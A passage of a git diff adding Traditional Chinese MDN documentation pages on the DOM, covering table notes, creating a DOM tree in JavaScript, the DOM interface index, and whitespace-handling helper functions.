+<h3 id="Notes" name="Notes">提醒</h3>
+
+<ul>
+ <li>表格的{{domxref("element.innerHTML","innerHTML")}}屬性絕不應該被用來修改表，雖然你可以用它來寫一個完整的表格或細格中的內容。</li>
+ <li>如果用 DOM 核心方法<font face="Consolas, Liberation Mono, Courier, monospace"> </font>{{domxref("document.createElement")}} 和<font face="Consolas, Liberation Mono, Courier, monospace"> </font>{{domxref("Node.appendChild")}} 來建立表格的行和細格，IE 會要求它們附加到一個 tbody 元素，而其它瀏覽器允許它們附加到一個 table 元素（行會被添加到最後的 tbody 元素）。</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLTableElement#Methods">表格介面</a>還有一些可用於創建和修改的表格的便利方法。</li>
+</ul>
+
+<h2 id="Subnav">Subnav</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model">DOM Reference</a></li>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model/Introduction">Introduction to the DOM</a></li>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model/Events">Events and the DOM</a></li>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model/Examples">Examples</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/document_object_model/how_to_create_a_dom_tree/index.html b/files/zh-tw/web/api/document_object_model/how_to_create_a_dom_tree/index.html
new file mode 100644
index 0000000000..02a3ac01e2
--- /dev/null
+++ b/files/zh-tw/web/api/document_object_model/how_to_create_a_dom_tree/index.html
@@ -0,0 +1,145 @@
+---
+title: 如何建立 DOM 樹
+slug: Web/API/Document_Object_Model/How_to_create_a_DOM_tree
+translation_of: Web/API/Document_object_model/How_to_create_a_DOM_tree
+---
+<p>{{draft}}</p>
+
+<p>This page describes how to use the <a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html">DOM Core</a> API in JavaScript to create and modify DOM objects. It applies to all Gecko-based applications (such as Firefox) both in privileged (extensions) and unprivileged (web pages) code.</p>
+
+<h3 id="Dynamically_creating_a_DOM_tree" name="Dynamically_creating_a_DOM_tree">Dynamically creating a DOM tree</h3>
+
+<p>Consider the following XML document:</p>
+
+<pre class="brush: xml">&lt;?xml version="1.0"?&gt;
+&lt;people&gt;
+  &lt;person first-name="eric" middle-initial="H" last-name="jung"&gt;
+    &lt;address street="321 south st" city="denver" state="co" country="usa"/&gt;
+    &lt;address street="123 main st" city="arlington" state="ma" country="usa"/&gt;
+  &lt;/person&gt;
+
+  &lt;person first-name="jed" last-name="brown"&gt;
+    &lt;address street="321 north st" city="atlanta" state="ga" country="usa"/&gt;
+    &lt;address street="123 west st" city="seattle" state="wa" country="usa"/&gt;
+    &lt;address street="321 south avenue" city="denver" state="co" country="usa"/&gt;
+  &lt;/person&gt;
+&lt;/people&gt;
+</pre>
+
+<p>The W3C DOM API, supported by Mozilla, can be used to create an in-memory representation of this document like so:</p>
+
+<pre class="brush: js">var doc = document.implementation.createDocument("", "", null);
+var peopleElem = doc.createElement("people");
+
+var personElem1 = doc.createElement("person");
+personElem1.setAttribute("first-name", "eric");
+personElem1.setAttribute("middle-initial", "h");
+personElem1.setAttribute("last-name", "jung");
+
+var addressElem1 = doc.createElement("address");
+addressElem1.setAttribute("street", "321 south st");
+addressElem1.setAttribute("city", "denver");
+addressElem1.setAttribute("state", "co");
+addressElem1.setAttribute("country", "usa");
+personElem1.appendChild(addressElem1);
+
+var addressElem2 = doc.createElement("address");
+addressElem2.setAttribute("street", "123 main st");
+addressElem2.setAttribute("city", "arlington");
+addressElem2.setAttribute("state", "ma");
+addressElem2.setAttribute("country", "usa");
+personElem1.appendChild(addressElem2);
+
+var personElem2 = doc.createElement("person");
+personElem2.setAttribute("first-name", "jed");
+personElem2.setAttribute("last-name", "brown");
+
+var addressElem3 = doc.createElement("address");
+addressElem3.setAttribute("street", "321 north st");
+addressElem3.setAttribute("city", "atlanta");
+addressElem3.setAttribute("state", "ga");
+addressElem3.setAttribute("country", "usa");
+personElem2.appendChild(addressElem3);
+
+var addressElem4 = doc.createElement("address");
+addressElem4.setAttribute("street", "123 west st");
+addressElem4.setAttribute("city", "seattle");
+addressElem4.setAttribute("state", "wa");
+addressElem4.setAttribute("country", "usa");
+personElem2.appendChild(addressElem4);
+
+var addressElem5 = doc.createElement("address");
+addressElem5.setAttribute("street", "321 south avenue");
+addressElem5.setAttribute("city", "denver");
+addressElem5.setAttribute("state", "co");
+addressElem5.setAttribute("country", "usa");
+personElem2.appendChild(addressElem5);
+
+peopleElem.appendChild(personElem1);
+peopleElem.appendChild(personElem2);
+doc.appendChild(peopleElem);
+</pre>
+
+<p>See also the <a href="/en/XUL_Tutorial/Document_Object_Model" title="en/XUL_Tutorial/Document_Object_Model"> DOM chapter of the XUL Tutorial</a>.</p>
+
+<p>You can automate the creation of a DOM tree using a <a href="/en/JXON#JXON_reverse_algorithms" title="en/JXON#JXON_reverse_algorithms">JXON reverse algorithm</a> in association with the following JSON representation:</p>
+
+<pre class="brush: js">{
+  "people": {
+    "person": [{
+      "address": [{
+        "@street": "321 south st",
+        "@city": "denver",
+        "@state": "co",
+        "@country": "usa"
+      }, {
+        "@street": "123 main st",
+        "@city": "arlington",
+        "@state": "ma",
+        "@country": "usa"
+      }],
+      "@first-name": "eric",
+      "@middle-initial": "H",
+      "@last-name": "jung"
+    }, {
+      "address": [{
+        "@street": "321 north st",
+        "@city": "atlanta",
+        "@state": "ga",
+        "@country": "usa"
+      }, {
+        "@street": "123 west st",
+        "@city": "seattle",
+        "@state": "wa",
+        "@country": "usa"
+      }, {
+        "@street": "321 south avenue",
+        "@city": "denver",
+        "@state": "co",
+        "@country": "usa"
+      }],
+      "@first-name": "jed",
+      "@last-name": "brown"
+    }]
+  }
+}
+</pre>
+
+<h3 id="So_what.3F" name="So_what.3F">So what?</h3>
+
+<p>DOM trees can be <a href="/en/Using_XPath" title="en/Using_XPath"> queried using XPath expressions</a>, converted to strings or written to a local or remote files using <a href="/en/Parsing_and_serializing_XML" title="en/Parsing_and_serializing_XML"> XMLSerializer</a> (without having to first convert to a string), <a href="/en/DOM/XMLHttpRequest" title="en/XMLHttpRequest">POSTed to a web server</a> (via <code>XMLHttpRequest</code>), transformed using <a href="/en/XSLT" title="en/XSLT">XSLT</a>, <a href="/en/XLink" title="en/XLink">XLink</a>, converted to a JavaScript object through a <a href="/en/JXON" title="en/JXON">JXON algorithm</a>, etc.</p>
+
+<p>You can use DOM trees to model data which isn't well-suited for RDF (or perhaps you just don't like RDF). Another application is that, since XUL is XML, the UI of your application can be dynamically manipulated, downloaded, uploaded, saved, loaded, converted, or transformed quite easily.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="internal" href="/en/XML" title="en/XML">XML</a></li>
+ <li><a class="internal" href="/en/JXON" title="en/JXON">JXON</a></li>
+ <li><a class="internal" href="/en/XPath" title="en/XPath">XPath</a></li>
+ <li><a class="internal" href="/en/E4X" title="en/E4X">E4X (ECMAScript for XML)</a></li>
+ <li><a class="internal" href="/en/Parsing_and_serializing_XML" title="en/Parsing_and_serializing_XML">Parsing and serializing XML</a></li>
+ <li><a class="internal" href="/en/DOM/XMLHttpRequest" title="en/XMLHttpRequest">XMLHttpRequest</a></li>
+</ul>
+
+<p>{{ languages( { "fr": "fr/Comment_cr\u00e9er_un_arbre_DOM", "ja": "ja/How_to_create_a_DOM_tree", "zh-cn": "zh-cn/How_to_create_a_DOM_tree" } ) }}</p>
diff --git a/files/zh-tw/web/api/document_object_model/index.html b/files/zh-tw/web/api/document_object_model/index.html
new file mode 100644
index 0000000000..a2e07c7fdd
--- /dev/null
+++ b/files/zh-tw/web/api/document_object_model/index.html
@@ -0,0 +1,384 @@
+---
+title: 文件物件模型 (DOM)
+slug: Web/API/Document_Object_Model
+tags:
+  - DOM
+  - DOM Reference
+  - DOM 參考
+  - Intermediate
+translation_of: Web/API/Document_Object_Model
+---
+<p>{{DefaultAPISidebar("DOM")}}</p>
+
+<p><strong>文件物件模型（<em>Document Object Model, DOM</em>）</strong>是 HTML、XML 和 SVG 文件的程式介面。它提供了一個文件（樹）的結構化表示法，並定義讓程式可以存取並改變文件架構、風格和內容的方法。DOM 提供了文件以擁有屬性與函式的節點與物件組成的結構化表示。節點也可以附加事件處理程序，一旦觸發事件就會執行處理程序。 本質上，它將網頁與腳本或程式語言連結在一起。</p>
+
+<p>雖然常常使用 JavaScript 來存取 DOM，但它本身並不是 JavaScript 語言的一部分，而且它也可以被其他語言存取（雖然不太常見就是了）。</p>
+
+<p>這裡有一篇 DOM 的<a href="/zh-TW/docs/DOM/DOM_Reference/Introduction">介紹</a>可供查閱。</p>
+
+<h2 id="DOM_介面">DOM 介面</h2>
+
+<div class="index">
+<ul>
+ <li>{{domxref("Attr")}}</li>
+ <li>{{domxref("CharacterData")}}</li>
+ <li>{{domxref("ChildNode")}} {{experimental_inline}}</li>
+ <li>{{domxref("Comment")}}</li>
+ <li>{{domxref("CustomEvent")}}</li>
+ <li>{{domxref("Document")}}</li>
+ <li>{{domxref("DocumentFragment")}}</li>
+ <li>{{domxref("DocumentType")}}</li>
+ <li>{{domxref("DOMError")}}</li>
+ <li>{{domxref("DOMException")}}</li>
+ <li>{{domxref("DOMImplementation")}}</li>
+ <li>{{domxref("DOMString")}}</li>
+ <li>{{domxref("DOMTimeStamp")}}</li>
+ <li>{{domxref("DOMSettableTokenList")}}</li>
+ <li>{{domxref("DOMStringList")}}</li>
+ <li>{{domxref("DOMTokenList")}}</li>
+ <li>{{domxref("Element")}}</li>
+ <li>{{domxref("Event")}}</li>
+ <li>{{domxref("EventTarget")}}</li>
+ <li>{{domxref("HTMLCollection")}}</li>
+ <li>{{domxref("MutationObserver")}}</li>
+ <li>{{domxref("MutationRecord")}}</li>
+ <li>{{domxref("Node")}}</li>
+ <li>{{domxref("NodeFilter")}}</li>
+ <li>{{domxref("NodeIterator")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+ <li>{{domxref("ParentNode")}} {{experimental_inline}}</li>
+ <li>{{domxref("ProcessingInstruction")}}</li>
+ <li>{{domxref("Range")}}</li>
+ <li>{{domxref("Text")}}</li>
+ <li>{{domxref("TreeWalker")}}</li>
+ <li>{{domxref("URL")}}</li>
+ <li>{{domxref("Window")}}</li>
+ <li>{{domxref("Worker")}}</li>
+ <li>{{domxref("XMLDocument")}} {{experimental_inline}}</li>
+</ul>
+</div>
+
+<h2 id="棄用的_DOM_介面">棄用的 DOM 介面</h2>
+
+<p>文件物件模型正被大量的簡化。為了達成這個目的，下這些介面是在 DOM level 3 或更早的規範中就被刪掉了。由於不清楚是否會被再度納入，請姑且當他們已經被遺棄，並避免使用：</p>
+
+<div class="index">
+<ul>
+ <li>{{domxref("CDATASection")}}</li>
+ <li>{{domxref("DOMConfiguration")}}</li>
+ <li>{{domxref("DOMErrorHandler")}}</li>
+ <li>{{domxref("DOMImplementationList")}}</li>
+ <li>{{domxref("DOMImplementationRegistry")}}</li>
+ <li>{{domxref("DOMImplementationSource")}}</li>
+ <li>{{domxref("DOMLocator")}}</li>
+ <li>{{domxref("DOMObject")}}</li>
+ <li>{{domxref("DOMUserData")}}</li>
+ <li>{{domxref("Entity")}}</li>
+ <li>{{domxref("EntityReference")}}</li>
+ <li>{{domxref("NamedNodeMap")}}</li>
+ <li>{{domxref("NameList")}}</li>
+ <li>{{domxref("Notation")}}</li>
+ <li>{{domxref("TypeInfo")}}</li>
+ <li>{{domxref("UserDataHandler")}}</li>
+ <li> </li>
+</ul>
+</div>
+
+<h2 id="HTML_介面">HTML 介面</h2>
+
+<p>一份包含 html 的文件會透過 {{domxref("HTMLDocument")}} 介面來描述。注意 HTML 規範也擴展了 {{domxref("Document")}} 介面。</p>
+
+<p><code>HTMLDocument</code> 物件也提供了瀏覽器功能的存取：分頁、透過 {{domxref("Window")}} 介面描繪頁面的視窗、與其相關的 {{domxref("window.style", "樣式")}} （通常是 CSS ）、與本文關聯的瀏覽器 {{domxref("window.history", "歷史")}}、以及一個文件內的 {{domxref("Selection", "選擇器")}}。</p>
+
+<h3 id="HTML_元素介面">HTML 元素介面</h3>
+
+<div class="index">
+<ul>
+ <li>{{domxref("HTMLAnchorElement")}}</li>
+ <li>{{domxref("HTMLAppletElement")}}</li>
+ <li>{{domxref("HTMLAreaElement")}}</li>
+ <li>{{domxref("HTMLAudioElement")}}</li>
+ <li>{{domxref("HTMLBaseElement")}}</li>
+ <li>{{domxref("HTMLBodyElement")}}</li>
+ <li>{{domxref("HTMLBRElement")}}</li>
+ <li>{{domxref("HTMLButtonElement")}}</li>
+ <li>{{domxref("HTMLCanvasElement")}}</li>
+ <li>{{domxref("HTMLDataElement")}}</li>
+ <li>{{domxref("HTMLDataListElement")}}</li>
+ <li>{{domxref("HTMLDialogElement")}}</li>
+ <li>{{domxref("HTMLDirectoryElement")}}</li>
+ <li>{{domxref("HTMLDivElement")}}</li>
+ <li>{{domxref("HTMLDListElement")}}</li>
+ <li>{{domxref("HTMLElement")}}</li>
+ <li>{{domxref("HTMLEmbedElement")}}</li>
+ <li>{{domxref("HTMLFieldSetElement")}}</li>
+ <li>{{domxref("HTMLFontElement")}}</li>
+ <li>{{domxref("HTMLFormElement")}}</li>
+ <li>{{domxref("HTMLFrameElement")}}</li>
+ <li>{{domxref("HTMLFrameSetElement")}}</li>
+ <li>{{domxref("HTMLHeadElement")}}</li>
+ <li>{{domxref("HTMLHeadingElement")}}</li>
+ <li>{{domxref("HTMLHtmlElement")}}</li>
+ <li>{{domxref("HTMLHRElement")}}</li>
+ <li>{{domxref("HTMLIFrameElement")}}</li>
+ <li>{{domxref("HTMLImageElement")}}</li>
+ <li>{{domxref("HTMLInputElement")}}</li>
+ <li>{{domxref("HTMLKeygenElement")}}</li>
+ <li>{{domxref("HTMLLabelElement")}}</li>
+ <li>{{domxref("HTMLLegendElement")}}</li>
+ <li>{{domxref("HTMLLIElement")}}</li>
+ <li>{{domxref("HTMLLinkElement")}}</li>
+ <li>{{domxref("HTMLMapElement")}}</li>
+ <li>{{domxref("HTMLMediaElement")}}</li>
+ <li>{{domxref("HTMLMenuElement")}}</li>
+ <li>{{domxref("HTMLMetaElement")}}</li>
+ <li>{{domxref("HTMLMeterElement")}}</li>
+ <li>{{domxref("HTMLModElement")}}</li>
+ <li>{{domxref("HTMLObjectElement")}}</li>
+ <li>{{domxref("HTMLOListElement")}}</li>
+ <li>{{domxref("HTMLOptGroupElement")}}</li>
+ <li>{{domxref("HTMLOptionElement")}}</li>
+ <li>{{domxref("HTMLOutputElement")}}</li>
+ <li>{{domxref("HTMLParagraphElement")}}</li>
+ <li>{{domxref("HTMLParamElement")}}</li>
+ <li>{{domxref("HTMLPreElement")}}</li>
+ <li>{{domxref("HTMLProgressElement")}}</li>
+ <li>{{domxref("HTMLQuoteElement")}}</li>
+ <li>{{domxref("HTMLScriptElement")}}</li>
+ <li>{{domxref("HTMLSelectElement")}}</li>
+ <li>{{domxref("HTMLSourceElement")}}</li>
+ <li>{{domxref("HTMLSpanElement")}}</li>
+ <li>{{domxref("HTMLStyleElement")}}</li>
+ <li>{{domxref("HTMLTableElement")}}</li>
+ <li>{{domxref("HTMLTableCaptionElement")}}</li>
+ <li>{{domxref("HTMLTableCellElement")}}</li>
+ <li>{{domxref("HTMLTableDataCellElement")}}</li>
+ <li>{{domxref("HTMLTableHeaderCellElement")}}</li>
+ <li>{{domxref("HTMLTableColElement")}}</li>
+ <li>{{domxref("HTMLTableRowElement")}}</li>
+ <li>{{domxref("HTMLTableSectionElement")}}</li>
+ <li>{{domxref("HTMLTextAreaElement")}}</li>
+ <li>{{domxref("HTMLTimeElement")}}</li>
+ <li>{{domxref("HTMLTitleElement")}}</li>
+ <li>{{domxref("HTMLTrackElement")}}</li>
+ <li>{{domxref("HTMLUListElement")}}</li>
+ <li>{{domxref("HTMLUnknownElement")}}</li>
+ <li>{{domxref("HTMLVideoElement")}}</li>
+</ul>
+</div>
+
+<h3 id="其他介面">其他介面</h3>
+
+<div class="index">
+<ul>
+ <li>{{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasGradient")}}</li>
+ <li>{{domxref("CanvasPattern")}}</li>
+ <li>{{domxref("TextMetrics")}}</li>
+ <li>{{domxref("ImageData")}}</li>
+ <li>{{domxref("CanvasPixelArray")}}</li>
+ <li>{{domxref("NotifyAudioAvailableEvent")}}</li>
+ <li>{{domxref("HTMLAllCollection")}}</li>
+ <li>{{domxref("HTMLFormControlsCollection")}}</li>
+ <li>{{domxref("HTMLOptionsCollection")}}</li>
+ <li>{{domxref("HTMLPropertiesCollection")}}</li>
+ <li>{{domxref("DOMStringMap")}}</li>
+ <li>{{domxref("RadioNodeList")}}</li>
+ <li>{{domxref("MediaError")}}</li>
+</ul>
+</div>
+
+<h3 id="棄用的_HTML_介面">棄用的 HTML 介面</h3>
+
+<div class="index">
+<ul>
+ <li>{{domxref("HTMLBaseFontElement")}}</li>
+ <li>{{domxref("HTMLIsIndexElement")}}</li>
+</ul>
+</div>
+
+<h2 id="SVG_介面">SVG 介面</h2>
+
+<h3 id="SVG_元素介面">SVG 元素介面</h3>
+
+<div class="index">
+<ul>
+ <li>{{domxref("SVGAElement")}}</li>
+ <li>{{domxref("SVGAltGlyphElement")}}</li>
+ <li>{{domxref("SVGAltGlyphDefElement")}}</li>
+ <li>{{domxref("SVGAltGlyphItemElement")}}</li>
+ <li>{{domxref("SVGAnimationElement")}}</li>
+ <li>{{domxref("SVGAnimateElement")}}</li>
+ <li>{{domxref("SVGAnimateColorElement")}}</li>
+ <li>{{domxref("SVGAnimateMotionElement")}}</li>
+ <li>{{domxref("SVGAnimateTransformElement")}}</li>
+ <li>{{domxref("SVGCircleElement")}}</li>
+ <li>{{domxref("SVGClipPathElement")}}</li>
+ <li>{{domxref("SVGColorProfileElement")}}</li>
+ <li>{{domxref("SVGComponentTransferFunctionElement")}}</li>
+ <li>{{domxref("SVGCursorElement")}}</li>
+ <li>{{domxref("SVGDefsElement")}}</li>
+ <li>{{domxref("SVGDescElement")}}</li>
+ <li>{{domxref("SVGElement")}}</li>
+ <li>{{domxref("SVGEllipseElement")}}</li>
+ <li>{{domxref("SVGFEBlendElement")}}</li>
+ <li>{{domxref("SVGFEColorMatrixElement")}}</li>
+ <li>{{domxref("SVGFEComponentTransferElement")}}</li>
+ <li>{{domxref("SVGFECompositeElement")}}</li>
+ <li>{{domxref("SVGFEConvolveMatrixElement")}}</li>
+ <li>{{domxref("SVGFEDiffuseLightingElement")}}</li>
+ <li>{{domxref("SVGFEDisplacementMapElement")}}</li>
+ <li>{{domxref("SVGFEDistantLightElement")}}</li>
+ <li>{{domxref("SVGFEFloodElement")}}</li>
+ <li>{{domxref("SVGFEGaussianBlurElement")}}</li>
+ <li>{{domxref("SVGFEImageElement")}}</li>
+ <li>{{domxref("SVGFEMergeElement")}}</li>
+ <li>{{domxref("SVGFEMergeNodeElement")}}</li>
+ <li>{{domxref("SVGFEMorphologyElement")}}</li>
+ <li>{{domxref("SVGFEOffsetElement")}}</li>
+ <li>{{domxref("SVGFEPointLightElement")}}</li>
+ <li>{{domxref("SVGFESpecularLightingElement")}}</li>
+ <li>{{domxref("SVGFESpotLightElement")}}</li>
+ <li>{{domxref("SVGFETileElement")}}</li>
+ <li>{{domxref("SVGFETurbulenceElement")}}</li>
+ <li>{{domxref("SVGFEFuncRElement")}}</li>
+ <li>{{domxref("SVGFEFuncGElement")}}</li>
+ <li>{{domxref("SVGFEFuncBElement")}}</li>
+ <li>{{domxref("SVGFEFuncAElement")}}</li>
+ <li>{{domxref("SVGFilterElement")}}</li>
+ <li>{{domxref("SVGFilterPrimitiveStandardAttributes")}}</li>
+ <li>{{domxref("SVGFontElement")}}</li>
+ <li>{{domxref("SVGFontFaceElement")}}</li>
+ <li>{{domxref("SVGFontFaceFormatElement")}}</li>
+ <li>{{domxref("SVGFontFaceNameElement")}}</li>
+ <li>{{domxref("SVGFontFaceSrcElement")}}</li>
+ <li>{{domxref("SVGFontFaceUriElement")}}</li>
+ <li>{{domxref("SVGForeignObjectElement")}}</li>
+ <li>{{domxref("SVGGElement")}}</li>
+ <li>{{domxref("SVGGlyphElement")}}</li>
+ <li>{{domxref("SVGGlyphRefElement")}}</li>
+ <li>{{domxref("SVGGradientElement")}}</li>
+ <li>{{domxref("SVGHKernElement")}}</li>
+ <li>{{domxref("SVGImageElement")}}</li>
+ <li>{{domxref("SVGLinearGradientElement")}}</li>
+ <li>{{domxref("SVGLineElement")}}</li>
+ <li>{{domxref("SVGMarkerElement")}}</li>
+ <li>{{domxref("SVGMaskElement")}}</li>
+ <li>{{domxref("SVGMetadataElement")}}</li>
+ <li>{{domxref("SVGMissingGlyphElement")}}</li>
+ <li>{{domxref("SVGMPathElement")}}</li>
+ <li>{{domxref("SVGPathElement")}}</li>
+ <li>{{domxref("SVGPatternElement")}}</li>
+ <li>{{domxref("SVGPolylineElement")}}</li>
+ <li>{{domxref("SVGPolygonElement")}}</li>
+ <li>{{domxref("SVGRadialGradientElement")}}</li>
+ <li>{{domxref("SVGRectElement")}}</li>
+ <li>{{domxref("SVGScriptElement")}}</li>
+ <li>{{domxref("SVGSetElement")}}</li>
+ <li>{{domxref("SVGStopElement")}}</li>
+ <li>{{domxref("SVGStyleElement")}}</li>
+ <li>{{domxref("SVGSVGElement")}}</li>
+ <li>{{domxref("SVGSwitchElement")}}</li>
+ <li>{{domxref("SVGSymbolElement")}}</li>
+ <li>{{domxref("SVGTextElement")}}</li>
+ <li>{{domxref("SVGTextPathElement")}}</li>
+ <li>{{domxref("SVGTitleElement")}}</li>
+ <li>{{domxref("SVGTRefElement")}}</li>
+ <li>{{domxref("SVGTSpanElement")}}</li>
+ <li>{{domxref("SVGUseElement")}}</li>
+ <li>{{domxref("SVGViewElement")}}</li>
+ <li>{{domxref("SVGVKernElement")}}</li>
+</ul>
+</div>
+
+<h3 id="SVG_資料型別介面">SVG 資料型別介面</h3>
+
+<p>這裡是資料型態的 DOM API，在 SVG 特性和性質的定義中被使用。</p>
+
+<div class="note">
+<p><strong><strong>備註：</strong></strong>從 {{Gecko("5.0")}}<strong> </strong>開始，下列 SVG 相關的 DOM 介面物件的表示清單，現在可以被索引且可以像陣列般被取用；此外，他們也有 length 屬性來標示其清單中的項目個數：{{domxref("SVGLengthList")}}、{{domxref("SVGNumberList")}}、{{domxref("SVGPathSegList")}}，和 {{domxref("SVGPointList")}}。</p>
+</div>
+
+<h4 id="靜態類型">靜態類型</h4>
+
+<div class="index">
+<ul>
+ <li>{{domxref("SVGAngle")}}</li>
+ <li>{{domxref("SVGColor")}}</li>
+ <li>{{domxref("SVGICCColor")}}</li>
+ <li>{{domxref("SVGElementInstance")}}</li>
+ <li>{{domxref("SVGElementInstanceList")}}</li>
+ <li>{{domxref("SVGLength")}}</li>
+ <li>{{domxref("SVGLengthList")}}</li>
+ <li>{{domxref("SVGMatrix")}}</li>
+ <li>{{domxref("SVGNumber")}}</li>
+ <li>{{domxref("SVGNumberList")}}</li>
+ <li>{{domxref("SVGPaint")}}</li>
+ <li>{{domxref("SVGPoint")}}</li>
+ <li>{{domxref("SVGPointList")}}</li>
+ <li>{{domxref("SVGPreserveAspectRatio")}}</li>
+ <li>{{domxref("SVGRect")}}</li>
+ <li>{{domxref("SVGStringList")}}</li>
+ <li>{{domxref("SVGTransform")}}</li>
+ <li>{{domxref("SVGTransformList")}}</li>
+</ul>
+</div>
+
+<h4 id="動畫類型">動畫類型</h4>
+
+<div class="index">
+<ul>
+ <li>{{domxref("SVGAnimatedAngle")}}</li>
+ <li>{{domxref("SVGAnimatedBoolean")}}</li>
+ <li>{{domxref("SVGAnimatedEnumeration")}}</li>
+ <li>{{domxref("SVGAnimatedInteger")}}</li>
+ <li>{{domxref("SVGAnimatedLength")}}</li>
+ <li>{{domxref("SVGAnimatedLengthList")}}</li>
+ <li>{{domxref("SVGAnimatedNumber")}}</li>
+ <li>{{domxref("SVGAnimatedNumberList")}}</li>
+ <li>{{domxref("SVGAnimatedPreserveAspectRatio")}}</li>
+ <li>{{domxref("SVGAnimatedRect")}}</li>
+ <li>{{domxref("SVGAnimatedString")}}</li>
+ <li>{{domxref("SVGAnimatedTransformList")}}</li>
+</ul>
+</div>
+
+<h3 id="SMIL_相關介面">SMIL 相關介面</h3>
+
+<div class="index">
+<ul>
+ <li>{{domxref("ElementTimeControl")}}</li>
+ <li>{{domxref("TimeEvent")}}</li>
+</ul>
+</div>
+
+<h3 id="其他的_SVG_介面">其他的 SVG 介面</h3>
+
+<div class="index">
+<ul>
+ <li>{{domxref("SVGAnimatedPathData")}}</li>
+ <li>{{domxref("SVGAnimatedPoints")}}</li>
+ <li>{{domxref("SVGColorProfileRule")}}</li>
+ <li>{{domxref("SVGCSSRule")}}</li>
+ <li>{{domxref("SVGExternalResourcesRequired")}}</li>
+ <li>{{domxref("SVGFitToViewBox")}}</li>
+ <li>{{domxref("SVGLangSpace")}}</li>
+ <li>{{domxref("SVGLocatable")}}</li>
+ <li>{{domxref("SVGRenderingIntent")}}</li>
+ <li>{{domxref("SVGStylable")}}</li>
+ <li>{{domxref("SVGTests")}}</li>
+ <li>{{domxref("SVGTextContentElement")}}</li>
+ <li>{{domxref("SVGTextPositioningElement")}}</li>
+ <li>{{domxref("SVGTransformable")}}</li>
+ <li>{{domxref("SVGUnitTypes")}}</li>
+ <li>{{domxref("SVGURIReference")}}</li>
+ <li>{{domxref("SVGViewSpec")}}</li>
+ <li>{{domxref("SVGZoomAndPan")}}</li>
+</ul>
+</div>
+
+<h2 id="See_also" name="See_also">相關連結</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/DOM/DOM_Reference/Examples">DOM 範例</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/document_object_model/whitespace/index.html b/files/zh-tw/web/api/document_object_model/whitespace/index.html
new file mode 100644
index 0000000000..7e584a3dd6
--- /dev/null
+++ b/files/zh-tw/web/api/document_object_model/whitespace/index.html
@@ -0,0 +1,183 @@
+---
+title: DOM 中的空白字元
+slug: Web/API/Document_Object_Model/Whitespace
+tags:
+  - DOM
+  - 所有類別
+translation_of: Web/API/Document_Object_Model/Whitespace
+---
+<h4 id=".E5.95.8F.E9.A1.8C.E8.AA.AA.E6.98.8E" name=".E5.95.8F.E9.A1.8C.E8.AA.AA.E6.98.8E">問題說明</h4>
+<p><a href="zh_tw/DOM">DOM</a> 裡的空白字元會讓處理節點結構時增加不少麻煩。Mozilla 相關軟體中，原始文件裡所有空白字元都會在 DOM 中出現（不包括標籤內含的空白字元）。這樣的處理方式有其必要，一方面編輯器中可逕行排列文字、二方面 <a href="zh_tw/CSS">CSS</a> 裡的 <code>white-space: pre</code> 也才能發揮作用。 如此一來就表示：</p>
+<ul>
+  <li>有些空白字元會自成一個文字節點。</li>
+  <li>有些空白字元會與其他字串合成一個文字節點。</li>
+</ul>
+<p>換句話說，下面這段程式碼的 DOM 節點結構就如附圖一般，其中「\n」代表換行字元：</p>
+<pre class="eval">&lt;!-- My document --&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;My Document&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;h1&gt;Header&lt;/h1&gt;
+  &lt;p&gt;
+    Paragraph
+  &lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p><img height="306" src="https://mdn.mozillademos.org/files/854/whitespace_tree.png" width="618"></p>
+
+<p>這麼一來，要使用 DOM 遊走於節點結構間又不想要無用的空白字元時，會有點困難。</p>
+<h4 id=".E5.8A.A9.E4.BD.A0.E4.B8.80.E8.87.82.E4.B9.8B.E5.8A.9B" name=".E5.8A.A9.E4.BD.A0.E4.B8.80.E8.87.82.E4.B9.8B.E5.8A.9B">助你一臂之力</h4>
+<p>以下的 JavaScript 程式碼定義了許多函式，讓你處理 DOM 中的空白字元時能輕鬆點：</p>
+<pre>/**
+ * 以下所謂的「空白字元」代表：
+ *  "\t" TAB \u0009 （移位字元）
+ *  "\n" LF  \u000A （換行字元）
+ *  "\r" CR  \u000D （歸位字元）
+ *  " "  SPC \u0020 （真正的空白）
+ *
+ * 不包括 JavaScript 的「\s」，因為那代表如不斷行字元等其他字元。
+ */
+
+
+/**
+ * 測知某節點的文字內容是否全為空白。
+ *
+ * @參數   nod  |CharacterData| 類的節點（如  |Text|、|Comment| 或 |CDATASection|）。
+ * @傳回值      若 |nod| 的文字內容全為空白則傳回 true，否則傳回 false。
+ */
+function is_all_ws( nod )
+{
+  // Use ECMA-262 Edition 3 String and RegExp features
+  return !(/[^\t\n\r ]/.test(nod.data));
+}
+
+
+/**
+ * 測知是否該略過某節點。
+ *
+ * @參數   nod  DOM1 |Node| 物件
+ * @傳回值      若 |Text| 節點內僅有空白字元或為 |Comment| 節點時，傳回 true，
+ *              否則傳回 false。
+ */
+
+function is_ignorable( nod )
+{
+  return ( nod.nodeType == 8) || // 註解節點
+         ( (nod.nodeType == 3) &amp;&amp; is_all_ws(nod) ); // 僅含空白字元的文字節點
+}
+
+/**
+ * 此為會跳過空白字元節點及註解節點的 |previousSibling| 函式
+ * （ |previousSibling| 是 DOM 節點的特性值，為該節點的前一個節點。）
+ *
+ * @參數   sib  節點。
+ * @傳回值      有兩種可能：
+ *               1) |sib| 的前一個「非空白、非註解」節點（由 |is_ignorable| 測知。）
+ *               2) 若該節點前無任何此類節點，則傳回 null。
+ */
+function node_before( sib )
+{
+  while ((sib = sib.previousSibling)) {
+    if (!is_ignorable(sib)) return sib;
+  }
+  return null;
+}
+
+/**
+ * 此為會跳過空白字元節點及註解節點的 |nextSibling| 函式
+ *
+ * @參數   sib  節點。
+ * @傳回值      有兩種可能：
